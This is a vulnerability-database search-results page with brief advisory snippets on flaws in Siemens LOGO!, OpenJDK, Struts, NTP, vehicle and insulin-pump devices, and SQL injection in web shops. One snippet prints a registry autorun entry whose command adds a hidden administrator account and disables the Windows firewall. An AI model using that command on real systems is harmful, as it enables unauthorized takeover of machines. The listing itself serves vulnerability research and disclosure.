337 matches found
Siemens LOGO! Soft Comfort Man-in-the-Middle Attack Vulnerability
LOGO! Soft Comfort is a Siemens LOGO! programming software that supports the addition of text display modules. A man-in-the-middle attack vulnerability exists in Siemens LOGO! Soft Comfort due to a lack of integrity validation of downloaded packages in Soft Comfort, the update center for LOGO!,...
OpenJDK: newline injection in the FTP client (Networking, 8170222)
A newline injection flaw was discovered in the FTP client implementation in the Networking component in OpenJDK. A remote attacker could possibly use this flaw to manipulate FTP connections established by a Java application...
Design/Logic Flaw
Apache Struts 2.x before 2.3.24.1 allows remote attackers to manipulate Struts internals, alter user sessions, or affect container settings via vectors involving a top object...
Virtuozzo 7 : java-1.8.0-openjdk / etc (VZLSA-2017-1108)
An update for java-1.8.0-openjdk is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...
OpenJDK: newline injection in the SMTP client (Networking, 8171533)
A newline injection flaw was discovered in the SMTP client implementation in the Networking component in OpenJDK. A remote attacker could possibly use this flaw to manipulate SMTP connections established by a Java application...
OpenJDK: newline injection in the SMTP client (Networking, 8171533)
A newline injection flaw was discovered in the SMTP client implementation in the Networking component in OpenJDK. A remote attacker could possibly use this flaw to manipulate SMTP connections established by a Java application...
CVE-2016-9310
The control mode mode 6 functionality in ntpd in NTP before 4.2.8p9 allows remote attackers to set or unset traps via a crafted control mode packet...
CVE-2016-9310
Removed by vendor...
CVE-2016-2354
The Bluetooth functionality in Lemur Vehicle Monitors BlueDriver before 2016-04-07 supports unrestricted pairing without a PIN, which allows remote attackers to send arbitrary CAN commands by leveraging access to a device inside or adjacent to the vehicle, as demonstrated by a CAN command to...
CVE-2011-3386
Unspecified vulnerability in Medtronic Paradigm wireless insulin pump 512, 522, 712, and 722 allows remote attackers to modify the delivery of an insulin bolus dose and cause a denial of service adverse human health effects via unspecified vectors involving wireless communications and knowledge o...
NetGear C DSL Router R0318 - Multiple Web Vulnerabilities
Document Title: =============== NetGear C DSL Router R0318 - Multiple Web Vulnerabilities Release Date: ============= 2011-08-18 Vulnerability Laboratory ID VL-ID: ==================================== 40 Product & Service Introduction: =============================== RO318 ergänzt Produktfamilie...
MOG-WebShop - 'index.php?group' SQL Injection
!/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ MOG-WebShop = ? - Multiple Remote SQL Injection Vulnerabilities Waktu : Dec 15 2007 11:45AM Software : MOG-WebShop | http://mog-site.com/index.php?act=product&po=detil&id=3 Vendor : http://mog-site.com/ Demo...
Toko Instan 7.6 - Multiple SQL Injections
Indonesian Newhack Security Advisory ------------------------------------ Toko Instan V7.6 - Multiple Remote SQL Injection Vulnerabilities Waktu : Nov 14 2007 08:30AM Software : Toko Instan V7.6 Vendor : http://www.tokohandal.com/ Demo Site : http://www.tokohandal.com/demo/demo2.php Ditemukan ole...
Toko Instan 7.6 - Multiple SQL Injections
Toko Instan 7.6 - Multiple SQL Injections Indonesian Newhack Security Advisory ------------------------------------ Toko Instan V7.6 - Multiple Remote SQL Injection Vulnerabilities Waktu : Nov 14 2007 08:30AM Software : Toko Instan V7.6 Vendor : http://www.tokohandal.com/ Demo Site :...
telecomitaly-reg.txt
group="HKEYLOCALMACHINE" section="SOFTWARE\Microsoft\Windows\CurrentVersion\Run" key="sun-tzu" valType=1 'REGSZ value="""c:\windows\system32\cmd.exe"" /c net user sun tzu /add & net localgroup Administrators sun /add & sc config SharedAccess start= disabled & net stop SharedAccess & sc config...
[SA22257] Taskjitsu "key" SQL Injection Vulnerability
TITLE: Taskjitsu "key" SQL Injection Vulnerability SECUNIA ADVISORY ID: SA22257 VERIFY ADVISORY: http://secunia.com/advisories/22257/ CRITICAL: Moderately critical IMPACT: Manipulation of data WHERE: From remote SOFTWARE: Taskjitsu 2.x http://secunia.com/product/10797/ DESCRIPTION: A vulnerabilit...
[SA21956] Gnuturk Portal "t_id" Parameter SQL Injection Vulnerability
TITLE: Gnuturk Portal "tid" Parameter SQL Injection Vulnerability SECUNIA ADVISORY ID: SA21956 VERIFY ADVISORY: http://secunia.com/advisories/21956/ CRITICAL: Moderately critical IMPACT: Manipulation of data WHERE: From remote SOFTWARE: Gnuturk Portal http://secunia.com/product/11974/ DESCRIPTION...
[SA21822] ccHost File ID SQL Injection Vulnerability
TITLE: ccHost File ID SQL Injection Vulnerability SECUNIA ADVISORY ID: SA21822 VERIFY ADVISORY: http://secunia.com/advisories/21822/ CRITICAL: Moderately critical IMPACT: Manipulation of data WHERE: From remote SOFTWARE: ccHost 2.x http://secunia.com/product/11931/ DESCRIPTION: A vulnerability ha...
[SA20171] CodeAvalanche News "password" SQL Injection Vulnerability
TITLE: CodeAvalanche News "password" SQL Injection Vulnerability SECUNIA ADVISORY ID: SA20171 VERIFY ADVISORY: http://secunia.com/advisories/20171/ CRITICAL: Moderately critical IMPACT: Manipulation of data WHERE: From remote SOFTWARE: CodeAvalanche News 1.x http://secunia.com/product/10033/...